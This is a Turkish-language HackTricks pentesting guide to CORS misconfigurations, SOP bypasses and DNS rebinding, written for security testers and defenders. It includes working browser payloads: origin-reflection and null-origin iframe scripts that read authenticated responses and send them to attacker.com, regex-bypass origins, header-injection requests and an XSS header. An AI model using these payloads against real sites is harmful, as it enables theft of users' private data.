CORS - Misconfigurations & Bypass

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin

CORS nedir?

Cross-Origin Resource Sharing (CORS) standardı, serverların kimlerin kendi assets’lerine erişebileceğini ve hangi HTTP request methods’un dış kaynaklardan izinli olduğunu belirlemesini sağlar.

Bir same-origin policy, bir resource isteyen server ile resource’u barındıran server’ın aynı protocol’ü (ör. http://), domain name’i (ör. internal-web.com) ve port’u (ör. 80) paylaşmasını zorunlu kılar. Bu policy altında, yalnızca aynı domain ve porttaki web page’lerin resource’lara erişmesine izin verilir.

http://normal-website.com/example/example.html bağlamında same-origin policy’nin uygulanışı şöyledir:

URL accessedAccess permitted?
http://normal-website.com/example/Yes: Identical scheme, domain, and port
http://normal-website.com/example2/Yes: Identical scheme, domain, and port
https://normal-website.com/example/No: Different scheme and port
http://en.normal-website.com/example/No: Different domain
http://www.normal-website.com/example/No: Different domain
http://normal-website.com:8080/example/No: Different port*

*Internet Explorer, same-origin policy uygulanırken port numarasını dikkate almaz; böylece bu erişime izin verir.

Access-Control-Allow-Origin Header

Bu header, birden fazla origin, null değeri veya wildcard * izin verebilir. Ancak, hiçbir browser birden fazla origin’i desteklemez ve wildcard * kullanımı kısıtlamalara tabidir. (Wildcard tek başına kullanılmalıdır ve Access-Control-Allow-Credentials: true ile birlikte kullanılamaz.)

Bu header, bir website tarafından başlatılan cross-domain resource request’e yanıt olarak server tarafından verilir; browser otomatik olarak bir Origin header ekler.

Access-Control-Allow-Credentials Header

Varsayılan olarak, cross-origin request’ler cookie’ler veya Authorization header gibi credentials olmadan yapılır. Ancak bir cross-domain server, Access-Control-Allow-Credentials header’ını true yaparak credentials gönderildiğinde response’un okunmasına izin verebilir.

true olarak ayarlanırsa, browser credentials (cookie’ler, authorization header’ları veya TLS client certificate’ları) aktarır.

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Pre-flight request

Cross-Domain İletişimde Pre-flight Requests’i Anlamak

Belirli koşullar altında bir cross-domain request başlatırken, örneğin standart olmayan bir HTTP method kullanıldığında (HEAD, GET, POST dışındaki herhangi bir şey), yeni headers eklendiğinde veya özel bir Content-Type header value kullanıldığında, bir pre-flight request gerekebilir. Bu ön hazırlık request’i, OPTIONS methodunu kullanarak, server’a gelecek cross-origin request’in niyetlerini, kullanmayı planladığı HTTP methods ve headers dahil, bildirir.

Cross-Origin Resource Sharing (CORS) protocol, istenen cross-origin operation’ın mümkün olup olmadığını belirlemek için allowed methods, headers ve origin’in güvenilirliğini doğrulayarak bu pre-flight kontrolünü zorunlu kılar. Pre-flight request gereksinimini ortadan kaldıran koşulların ne olduğunu ayrıntılı anlamak için, Mozilla Developer Network (MDN) tarafından sağlanan kapsamlı kılavuza bakın.

Pre-flight request’in olmamasının, response’un authorization headers taşıması gerekliliğini ortadan kaldırmadığını unutmamak önemlidir. Bu headers olmadan browser, cross-origin request’ten gelen response’u işleme konusunda yetersiz kalır.

PUT methodunu Special-Request-Header adlı özel bir header ile birlikte kullanmayı amaçlayan bir pre-flight request örneğini aşağıda görebilirsiniz:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

Yanıt olarak, server kabul edilen methods, allowed origin ve diğer CORS policy ayrıntılarını belirten headers döndürebilir, aşağıda gösterildiği gibi:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Bu header, gerçek request sırasında hangi header’ların kullanılabileceğini belirtir. Server tarafından, client’tan gelen request’lerde izin verilen header’ları göstermek için ayarlanır.
  • Access-Control-Expose-Headers: Bu header aracılığıyla server, simple response headers dışında hangi header’ların response’un bir parçası olarak ortaya çıkarılabileceğini client’a bildirir.
  • Access-Control-Max-Age: Bu header, bir pre-flight request sonucunun ne kadar süre cache’lenebileceğini belirtir. Server, pre-flight request tarafından döndürülen bilginin yeniden kullanılabileceği maksimum süreyi, saniye cinsinden ayarlar.
  • Access-Control-Request-Headers: Pre-flight request’lerde kullanılan bu header, client tarafından server’a, gerçek request’te hangi HTTP header’larını kullanmak istediğini bildirmek için ayarlanır.
  • Access-Control-Request-Method: Pre-flight request’lerde de kullanılan bu header, client tarafından gerçek request’te hangi HTTP method’un kullanılacağını belirtmek için ayarlanır.
  • Origin: Bu header otomatik olarak browser tarafından ayarlanır ve cross-origin request’in origin’ini belirtir. Server tarafından, gelen request’in CORS policy’ye göre izin verilip verilmeyeceğini değerlendirmek için kullanılır.

Genellikle (content-type ve ayarlanan header’lara bağlı olarak) bir GET/POST request içinde pre-flight request gönderilmez (request doğrudan gönderilir), ancak response’un header/body kısmına erişmek istiyorsanız, bunu izin veren bir Access-Control-Allow-Origin header’ı içermesi gerekir.
Bu nedenle, CORS CSRF’ye karşı koruma sağlamaz (ama yardımcı olabilir).

Local Network Requests Pre-flight request

Modern browser’lar ve mevcut Private Network Access (PNA) taslağı, preflight içinde Access-Control-Request-Private-Network: true ve response içinde Access-Control-Allow-Private-Network: true header’larını kullanır. Daha eski makaleler ve PoC’ler hâlâ Local-Network header adlarına referans verebilir, ancak güncel testlerde Private-Network varyantlarını beklemelisiniz.

Yerel ağ request’ine izin veren geçerli bir response, ayrıca Access-Control-Allow-Private-Network: true içermelidir:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true
Content-Length: 0
...

Ve preflight isteği aşağıdakine benzer görünecektir:

OPTIONS / HTTP/1.1
Host: router.local
Origin: https://example.com
Access-Control-Request-Method: GET
Access-Control-Request-Private-Network: true

Note

Chrome’un PNA rollout’u 2024 boyunca birkaç kez değişti. 9 Ekim 2024 itibarıyla Chrome, PNA preflights were on hold olduğunu, bunun nedeninin uyumluluk sorunları olduğunu, secure-context kısıtlamalarının ise yürürlükte kaldığını belgelemişti. Bu nedenle, hem spec-compliant preflight flow hem de daha eski “works in practice because enforcement is incomplete” davranışını test etmeye devam edin.

Warning

linux 0.0.0.0 IP’sinin, bypass ederek localhost’a erişmek için çalıştığını unutmayın; çünkü bu IP adresi “local” olarak kabul edilmez.

Chrome ayrıca 0.0.0.0/8 aralığının artık Private Network Access’in bir parçası olarak ele alındığını belgeledi; bu yüzden bu numara browser/version-dependent’tir ve varsayılmak yerine yeniden test edilmelidir.

Yerel bir endpoint’in public IP address’ini (örneğin router’ın public IP’si) kullanırsanız Local Network requirements’i bypass etmek de mümkündür. Çünkü birkaç durumda, erişilen adres public IP olsa bile, erişim local network içinden yapılıyorsa izin verilecektir.

Wildcards

Not edin ki aşağıdaki configuration çok permissive gibi görünse bile:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Bu, tarayıcılar tarafından izin verilmez ve bu nedenle kimlik bilgileri bunun izin verdiği istekle birlikte gönderilmez.

İstismar edilebilir yanlış yapılandırmalar

Access-Control-Allow-Credentials ayarının true olarak belirlenmesinin, çoğu gerçek saldırı için bir ön koşul olduğu gözlemlenmiştir. Bu ayar, tarayıcının kimlik bilgilerini göndermesine ve yanıtı okumasına izin verir, böylece saldırının etkisini artırır. Bu olmadan, bir tarayıcıya istek yaptırmanın, bunu kendiniz yapmaya kıyasla sağladığı fayda azalır; çünkü bir kullanıcının cookies’lerini kullanmak pratik olmaz.

İstisna: Ağ Konumunu Kimlik Doğrulama Olarak İstismar Etmek

Kurbanın ağ konumunun bir kimlik doğrulama biçimi olarak işlev gördüğü bir istisna vardır. Bu, kurbanın tarayıcısının bir proxy olarak kullanılmasına izin verir ve intranet uygulamalarına erişmek için IP tabanlı kimlik doğrulamayı aşar. Bu yöntem, etki açısından DNS rebinding ile benzerlik taşır ancak istismarı daha basittir.

Access-Control-Allow-Origin içinde Origin yansıtılması

Origin başlığının değerinin Access-Control-Allow-Origin içinde yansıtıldığı gerçek dünya senaryosu, bu başlıkların birleştirilmesine ilişkin kısıtlamalar nedeniyle teorik olarak olası değildir. Ancak birden fazla URL için CORS etkinleştirmek isteyen geliştiriciler, Access-Control-Allow-Origin başlığını dinamik olarak Origin başlığının değerini kopyalayarak oluşturabilir. Bu yaklaşım, özellikle saldırganın meşru görünmek üzere tasarlanmış bir ada sahip bir domain kullanması durumunda, doğrulama mantığını kandırarak güvenlik açığı oluşturabilir.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

null Origin’i Exploiting

null origin, redirects veya yerel HTML dosyaları gibi durumlar için belirtilir ve benzersiz bir konuma sahiptir. Bazı applications bu origin’i local development’i kolaylaştırmak için whitelist eder; bu da farkında olmadan herhangi bir website’nin sandboxed iframe üzerinden null origin’i taklit etmesine izin verir ve böylece CORS restrictions bypass edilir.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Regular Expression Bypass Techniques

Bir domain whitelist ile karşılaşıldığında, attacker’ın domain’ini whitelist’teki bir domain’e eklemek veya subdomain takeover vulnerabilities’ini kullanmak gibi bypass fırsatlarını test etmek kritik öneme sahiptir. Ayrıca, domain validation için kullanılan regular expressions, domain adlandırma kurallarındaki nüansları gözden kaçırabilir ve bu da ek bypass fırsatları sunar.

Advanced Regular Expression Bypasses

Regex patterns genellikle alphanumeric, dot (.), ve hyphen (-) karakterlerine odaklanır; diğer olasılıkları göz ardı eder. Örneğin, browser’lar ve regex patterns tarafından farklı yorumlanan karakterler içerecek şekilde hazırlanmış bir domain name, security checks’i bypass edebilir. Safari, Chrome ve Firefox’un subdomain’lerde underscore karakterlerini ele alış biçimi, bu tür tutarsızlıkların domain validation logic’i atlatmak için nasıl kullanılabileceğini gösterir.

Bu bypass check’in daha fazla bilgisi ve ayarları için: https://www.corben.io/advanced-cors-techniques/ ve https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

Bir subdomain içindeki XSS’den

Geliştiriciler, information request etmesine izin verilen domains’leri whitelist’leyerek CORS exploitation’a karşı koruma sağlamak için sıklıkla defensive mechanisms uygular. Bu önlemlere rağmen, system’in security’si kusursuz değildir. Whitelist’teki domains arasında vulnerable olan tek bir subdomain’in varlığı bile, XSS (Cross-Site Scripting) gibi diğer vulnerabilities üzerinden CORS exploitation’a kapı açabilir.

Bunu örneklemek için, requester.com domain’inin provider.com domain’inden resources’a erişmek üzere whitelist’lenmiş olduğu senaryoyu ele alalım. Server-side configuration aşağıdaki gibi görünebilir:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

Bu kurulumda, requester.com altındaki tüm subdomain’lere erişim izni verilir. Ancak, örneğin sub.requester.com gibi bir subdomain bir XSS vulnerability ile compromised olursa, bir attacker bu zayıflıktan yararlanabilir. Mesela, sub.requester.com erişimine sahip bir attacker, XSS vulnerability’yi kullanarak CORS policies’i bypass edebilir ve provider.com üzerindeki resources’a malicious şekilde erişebilir.

Special Characters

PortSwigger’ın URL validation bypass cheat sheet bazı browser’ların domain name’lerde garip characters desteklediğini buldu.

Chrome ve Firefox, Origin header’ını validate etmek için implement edilen regex’leri bypass edebilen underscore _ karakterlerini destekler:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari, domain adında özel karakterleri kabul etme konusunda daha da gevşektir:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

PortSwigger’ın cheat sheet’ine yapılan son güncellemeler, hedef Origin başlığını regex’ler veya elle yazılmış URL parser’ları kullanarak doğruluyorsa fuzzing yapmaya değer daha fazla Safari odaklı domain splitting payload’u ekledi:

https://example.com.{.attacker.com/
https://example.com.}.attacker.com/
https://example.com.`.attacker.com/

Bunlar, backend yalnızca sağlanan origin’in trusted hostname ile başlayıp başlamadığını veya onu içerip içermediğini kontrol ederken, browser yine de attacker-controlled suffix’i etkili origin boundary olarak kabul ettiğinde kullanışlıdır.

Ayrıca modern origin fuzzing sadece hostname suffix’leriyle sınırlı olmamalıdır. Mevcut PortSwigger cheat sheet şu payload ailelerini içerir:

  • Domain allow-list bypasses: naive prefix/suffix/substring kontrollerini hâlâ karşılayan attacker-controlled domain’ler.
  • Fake-relative absolute URLs: application code’un relative gibi parse edebileceği, browser-geçerli absolute URLs.
  • Loopback/IP normalizations: CORS logic’in string comparison ile localhost, 127.0.0.1 veya cloud metadata endpoint’lerini engellemeye çalıştığı durumlarda yararlı olan alternatif IPv4/IPv6 biçimleri.

Other funny URL tricks

URL Format Bypass

Server-side cache poisoning

From this research

HTTP header injection yoluyla server-side cache poisoning istismar edilerek stored Cross-Site Scripting (XSS) vulnerability tetiklenebilir olması mümkündür. Bu senaryo, bir application Origin header’ını illegal characters için sanitize edemediğinde ortaya çıkar ve özellikle Internet Explorer ve Edge kullanıcıları için bir vulnerability oluşturur. Bu browser’lar (0x0d)’yi geçerli bir HTTP header terminator olarak ele alır ve bu da HTTP header injection vulnerabilities’a yol açar.

Aşağıdaki request’i düşünün; burada Origin header’ı manipulate edilmiştir:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer ve Edge yanıtı şu şekilde yorumlar:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Bu güvenlik açığını doğrudan kötüye kullanarak bir web browser’ın hatalı biçimlendirilmiş bir header göndermesini sağlamak mümkün olmasa da, Burp Suite gibi tools kullanılarak elle crafted bir request üretilebilir. Bu yöntem, server-side cache’in response’u kaydedip yanlışlıkla başkalarına sunmasına yol açabilir. Crafted payload, sayfanın character set’ini UTF-7’ye değiştirmeyi hedefler; UTF-7, belirli contexts içinde script olarak execute edilebilen bir biçimde karakterleri encode etme yeteneği nedeniyle sıklıkla XSS vulnerabilities ile ilişkilendirilen bir character encoding’dir.

Stored XSS vulnerabilities hakkında daha fazla okuma için bkz. PortSwigger.

Note: HTTP header injection vulnerabilities’ın, özellikle server-side cache poisoning üzerinden, kötüye kullanılması; HTTP headers dahil tüm user-supplied input’un doğrulanması ve sanitize edilmesinin kritik önemini vurgular. Bu tür vulnerabilities’ı önlemek için her zaman input validation içeren sağlam bir security model kullanın.

Client-Side cache poisoning

Bu araştırmadan

Bu senaryoda, özel bir HTTP header’ın içeriğini uygun encoding olmadan yansıtan bir web page örneği gözlemlenir. Özellikle, web page X-User-id header’ında yer alan içeriği geri yansıtır; bu içerik, header’ın load olduğunda JavaScript code execute edecek şekilde tasarlanmış bir SVG image tag içerdiği örnekte gösterildiği gibi, malicious JavaScript barındırabilir.

Cross-Origin Resource Sharing (CORS) policies, custom headers gönderilmesine izin verir. Ancak, CORS restrictions nedeniyle response doğrudan browser tarafından render edilmediğinde, böyle bir injection’ın faydası sınırlı görünebilir. Kritik nokta, browser’ın cache davranışı dikkate alındığında ortaya çıkar. Eğer Vary: Origin header’ı belirtilmemişse, malicious response’un browser tarafından cache’lenmesi mümkün hale gelir. Sonrasında bu cache’lenmiş response, URL’e gidildiğinde doğrudan render edilebilir; böylece ilk request sırasında doğrudan render edilmesi ihtiyacı ortadan kalkar. Bu mekanizma, client-side caching’den yararlanarak attack’ın güvenilirliğini artırır.

Bu attack’ı göstermek için, bir web page ortamında, örneğin bir JSFiddle üzerinden execute edilmek üzere tasarlanmış bir JavaScript örneği verilir. Bu script basit bir işlem yapar: malicious JavaScript içeren custom bir header ile belirtilen URL’e bir request gönderir. Request başarıyla tamamlandığında, target URL’e yönelmeye çalışır ve response Vary: Origin header’ı uygun şekilde ele alınmadan cache’lenmişse, injected script’in execute edilmesini tetikleyebilir.

Bu attack’ı execute etmek için kullanılan JavaScript’in özet bir dökümü şöyledir:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, aynı zamanda Cross-Site Script Inclusion olarak da bilinir, Script tag kullanılarak kaynaklar dahil edildiğinde Same Origin Policy (SOP) uygulanmaması gerçeğinden yararlanan bir vulnerability türüdür. Bunun nedeni, scripts’in farklı domain’lerden include edilebilmesi gerektiğidir. Bu vulnerability, bir attacker’ın script tag kullanılarak dahil edilen herhangi bir içeriğe erişmesine ve onu okumasına izin verir.

Bu vulnerability, özellikle dynamic JavaScript veya JSONP (JSON with Padding) söz konusu olduğunda, özellikle de authentication için cookies gibi ambient-authority bilgileri kullanıldığında önem kazanır. Farklı bir host’tan bir resource istenirken cookies dahil edilir ve bu da onları attacker için erişilebilir hale getirir.

Bu vulnerability’yi daha iyi anlamak ve azaltmak için, https://github.com/kapytein/jsonp adresinde bulunan BurpSuite plugin’ini kullanabilirsiniz. Bu plugin, web application’larınızda olası XSSI vulnerabilities’ini belirlemenize ve ele almanıza yardımcı olabilir.

Burada farklı XSSI türleri ve bunların nasıl exploit edileceği hakkında daha fazla bilgi okuyun.

Request’e bir callback parameter eklemeyi deneyin. Belki de page, data’yı JSONP olarak göndermek üzere hazırlanmıştır. Bu durumda page, data’yı Content-Type: application/javascript ile geri gönderir ve bu da CORS policy’sini bypass eder.

Easy (useless?) bypass

Access-Control-Allow-Origin restriction’ını bypass etmenin bir yolu, bir web application’dan sizin adınıza bir request yapmasını ve response’u geri göndermesini istemektir. Ancak bu senaryoda, request farklı bir domain’e yapıldığı için final victim’ın credentials’ı gönderilmeyecektir.

  1. CORS-escape: Bu tool, request’inizi headers ile birlikte ileten ve aynı zamanda Origin header’ını request edilen domain’e uyacak şekilde spoof eden bir proxy sağlar. Bu, CORS policy’sini etkili biçimde bypass eder. İşte XMLHttpRequest ile bir kullanım örneği:
  2. simple-cors-escape: Bu tool, request’leri proxy’lemek için alternatif bir yaklaşım sunar. Request’inizi olduğu gibi iletmek yerine, server belirtilen parameters ile kendi request’ini yapar.

Iframe + Popup Bypass

e.origin === window.origin gibi CORS checks’lerini, bir iframe oluşturarak ve ondan yeni bir window açarak bypass edebilirsiniz. Daha fazla bilgi için aşağıdaki page’e bakın:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

TTL üzerinden DNS rebinding, DNS records’ları manipüle ederek belirli security measures’ları bypass etmek için kullanılan bir tekniktir. Nasıl çalıştığı şöyle:

  1. Attacker bir web page oluşturur ve victim’ın buna erişmesini sağlar.
  2. Attacker ardından kendi domain’inin DNS (IP) kaydını victim’ın web page’ine işaret edecek şekilde değiştirir.
  3. Victim’ın browser’ı DNS response’unu cache’ler; bu response, DNS record’un ne kadar süre geçerli sayılması gerektiğini belirten bir TTL (Time to Live) değerine sahip olabilir.
  4. TTL sona erdiğinde, victim’ın browser’ı yeni bir DNS request yapar ve attacker’ın victim’ın page’inde JavaScript code execute etmesine izin verir.
  5. Victim’ın IP’si üzerindeki kontrolü sürdürerek attacker, victim server’a herhangi bir cookie göndermeden victim’dan information toplayabilir.

Browser’ların, düşük TTL değerlerinde bile bu tekniğin anında abuse edilmesini engelleyebilecek caching mekanizmalarına sahip olduğunu not etmek önemlidir.

DNS rebinding, victim tarafından yapılan explicit IP checks’i bypass etmek veya bir user ya da bot’un uzun süre aynı page’de kalıp cache’in süresinin dolmasına izin verdiği senaryolarda faydalı olabilir.

DNS rebinding’i hızlıca abuse etmenin bir yoluna ihtiyacınız varsa, https://lock.cmpxchg8b.com/rebinder.html gibi services kullanabilirsiniz.

Kendi DNS rebinding server’ınızı çalıştırmak için, DNSrebinder (https://github.com/mogwailabs/DNSrebinder) gibi tools kullanabilirsiniz. Bu, local port 53/udp’nizi expose etmeyi, ona işaret eden bir A record oluşturmayı (ör. ns.example.com) ve daha önce oluşturulan A subdomain’ine işaret eden bir NS record oluşturmayı (ör. ns.example.com) içerir. ns.example.com subdomain’inin herhangi bir subdomain’i daha sonra host’unuz tarafından çözümlenir.

Daha fazla anlamak ve denemek için http://rebind.it/singularity.html adresindeki public çalışan server’ı da inceleyebilirsiniz.

DNS Rebinding via DNS Cache Flooding

DNS cache flooding üzerinden DNS rebinding, browser’ların caching mechanism’ini bypass etmek ve ikinci bir DNS request’i zorlamak için kullanılan başka bir tekniktir. Nasıl çalıştığı şöyle:

  1. Başlangıçta victim bir DNS request yaptığında, response olarak attacker’ın IP address’i döndürülür.
  2. Caching defense’i bypass etmek için attacker bir service worker kullanır. Service worker DNS cache’i flood eder ve bu da cached attacker server adını etkili biçimde siler.
  3. Victim’ın browser’ı ikinci bir DNS request yaptığında, artık response olarak genellikle localhost’u ifade eden 127.0.0.1 IP address’i döndürülür.

DNS cache’i service worker ile flood ederek attacker, DNS resolution process’ini manipüle edebilir ve victim’ın browser’ını ikinci bir request yapmaya zorlayabilir; bu kez resolution attacker’ın istediği IP address’e olur.

DNS Rebinding via Cache

Caching defense’i bypass etmenin bir başka yolu, DNS provider’da aynı subdomain için birden fazla IP address kullanmaktır. Nasıl çalıştığı şöyle:

  1. Attacker, DNS provider’da aynı subdomain için iki A record (veya iki IP içeren tek bir A record) kurar.
  2. Bir browser bu records’ları kontrol ettiğinde, her iki IP address’i de alır.
  3. Browser attacker’ın IP address’ini önce kullanmaya karar verirse, attacker aynı domain’e HTTP requests yapan bir payload sunabilir.
  4. Ancak attacker victim’ın IP address’ini elde eder etmez, victim’ın browser’ına yanıt vermeyi durdurur.
  5. Victim’ın browser’ı, domain’in yanıt vermediğini fark edince, verilen ikinci IP address’i kullanmaya geçer.
  6. İkinci IP address’e erişerek browser Same Origin Policy (SOP)’yi bypass eder ve attacker bunun üzerinden abuse yapıp information toplayabilir ve exfiltrate edebilir.

Bu teknik, bir domain için birden fazla IP address sağlandığında browser’ların davranışından yararlanır. Response’ları stratejik olarak kontrol edip browser’ın IP address seçimini manipüle ederek attacker SOP’yi exploit edebilir ve victim’dan information’a erişebilir.

Warning

localhost’a erişmek için Windows’ta 127.0.0.1’i ve linux’ta 0.0.0.0’ı rebind etmeyi denemelisiniz.
godaddy veya cloudflare gibi providers bana 0.0.0.0 IP’sini kullanmama izin vermedi, ancak AWS route53 bana IP’lerden biri “0.0.0.0” olacak şekilde 2 IP içeren bir A record oluşturmama izin verdi

Daha fazla bilgi için https://unit42.paloaltonetworks.com/dns-rebinding/ adresine bakabilirsiniz

Other Common Bypasses

  • Eğer internal IPs izin verilmiyorsa, 0.0.0.0 engellemesi unutulmuş olabilir (Linux ve Mac’te çalışır)
  • Eğer internal IPs izin verilmiyorsa, localhost’a bir CNAME ile yanıt verin (Linux ve Ma
  • Eğer internal IPs DNS responses olarak izin verilmiyorsa, www.corporate.internal gibi internal services’e CNAMEs ile yanıt verebilirsiniz.

DNS Rebidding Weaponized

Önceki bypass techniques hakkında daha fazla bilgi ve aşağıdaki tool’un nasıl kullanılacağı için Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference konuşmasına bakabilirsiniz.

Singularity of Origin, DNS rebinding attacks gerçekleştirmek için bir tool’dur. Attack server DNS name’inin IP address’ini target machine’in IP address’ine rebind etmek ve target machine üzerindeki vulnerable software’ı exploit etmek için attack payload’ları sunmak üzere gerekli bileşenleri içerir.

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH, klasik RFC1035 DNS wire format’ını HTTPS içinde tüneller (genellikle Content-Type: application/dns-message ile bir POST). Resolver yine aynı resource records’larla yanıt verir, bu yüzden SOP-breaking teknikler, browser attacker-controlled hostname’i TLS üzerinden resolve ettiğinde bile çalışmaya devam eder.

Key observations

  • Chrome (Windows/macOS) ve Firefox (Linux), Cloudflare, Google veya OpenDNS DoH resolvers’ı için yapılandırıldıklarında başarıyla rebind olur. Transport encryption, first-then-second, multiple-answers veya DNS cache flooding strategies için attack-flow’u ne geciktirir ne de bloke eder.
  • Public resolvers yine her query’yi görür, ancak browser’ın uyması gereken host-to-IP mapping’i nadiren zorlarlar. Yetkili server rebinding sequence’i döndürdüğünde, browser yeni IP’ye bağlanırken orijinal origin tuple’ını korur.

Singularity strategies and timing over DoH

  • First-then-second en güvenilir seçenek olmaya devam eder: ilk lookup attacker IP’sini döndürür ve payload’u sunar, sonraki tüm lookup’lar internal/localhost IP’sini döndürür. Tipik browser DNS cache’leriyle bu, recursive resolver’a yalnızca HTTPS üzerinden erişilebildiğinde bile trafiği ~40–60 saniyede değiştirir.
  • Multiple answers (fast rebinding), iki A record ile yanıt vererek (<3 saniyede) yine localhost’a ulaşır (attacker IP + Linux/macOS’ta 0.0.0.0 veya Windows’ta 127.0.0.1) ve page yüklendikten kısa süre sonra ilk IP’yi programatik olarak blackhole eder (örneğin, iptables -I OUTPUT -d <attacker_ip> -j DROP). Firefox’un DoH implementation’ı tekrar eden DNS queries gönderebilir; bu yüzden Singularity fix, timer’ı her query’de yenilemek yerine firewall kuralını first query timestamp’ine göre planlamaktır.

Beating “rebind protection” in DoH providers

  • Bazı providers (örn. NextDNS), private/loopback answers’ları 0.0.0.0 ile değiştirir, ancak Linux ve macOS bu destination’ı yerel services’e memnuniyetle route eder. Bu nedenle ikinci record olarak kasıtlı biçimde 0.0.0.0 döndürmek yine de origin’i localhost’a çevirir.
  • Yalnızca doğrudan A/AAAA response’u filtrelemek etkisizdir: internal-only hostname’e bir CNAME döndürmek, public DoH resolver’ın alias’ı iletmesine neden olur; Firefox gibi browser’lar ise internal zone için system DNS’e düşer ve çözümlemeyi private IP’ye tamamlar; bu IP yine attacker origin olarak değerlendirilir.

Browser-specific DoH behavior

  • Firefox DoH fallback mode’da çalışır: herhangi bir DoH failure (çözümlenemeyen bir CNAME target’ı dahil) OS resolver üzerinden plaintext lookup’u tetikler; bu genellikle internal namespace’i bilen enterprise DNS server’dır. Bu davranış, CNAME bypass’ını corporate networks içinde güvenilir yapan şeydir.
  • Chrome DoH yalnızca OS DNS whitelisted bir DoH-capable recursive resolver’ı (Cloudflare, Google, Quad9 vb.) gösterdiğinde etkinleşir ve aynı fallback chain’i sağlamaz. Bu yüzden yalnızca corporate DNS’te var olan internal hostnames çözümlenemez; ancak localhost’a veya routable herhangi bir address’e yönelik rebinding yine başarılı olur çünkü attacker tüm response set’ini kontrol eder.

Testing and monitoring DoH flows

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS ve DoH endpoint’ini sağlayın (Cloudflare ve NextDNS yerleşik gelir). Chrome/Chromium: chrome://flags/#dns-over-https özelliğini etkinleştirin ve OS DNS servers’ı Chrome’un desteklediği resolvers’dan birine yapılandırın (örn. 1.1.1.1/1.0.0.1).
  • Public DoH APIs’lerini doğrudan sorgulayabilirsiniz; örn. curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq ile browser’ların cache’leyeceği tam records’ları doğrulayabilirsiniz.
  • Burp/ZAP içinde DoH intercept etmek hâlâ çalışır çünkü bu yalnızca HTTPS’tir (body içinde binary DNS payload). Packet-level inspection için, browser’ı başlatmadan önce TLS keys’i export edin (export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) ve Wireshark’ın dns display filter’ı ile DoH sessions’ı decrypt etmesine izin vererek browser’ın DoH’da kalıp kalmadığını veya klasik DNS’e geri dönüp dönmediğini görün.

Real Protection against DNS Rebinding

  • Internal services’te TLS kullanın
  • Data’ya erişim için authentication isteyin
  • Host header’ını validate edin
  • https://wicg.github.io/private-network-access/: Public server’lar internal server’lara erişmek istediğinde her zaman bir pre-flight request gönderilmesini önerir

Tools

CORS policies’deki olası misconfigurations’ları fuzz edin

References

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
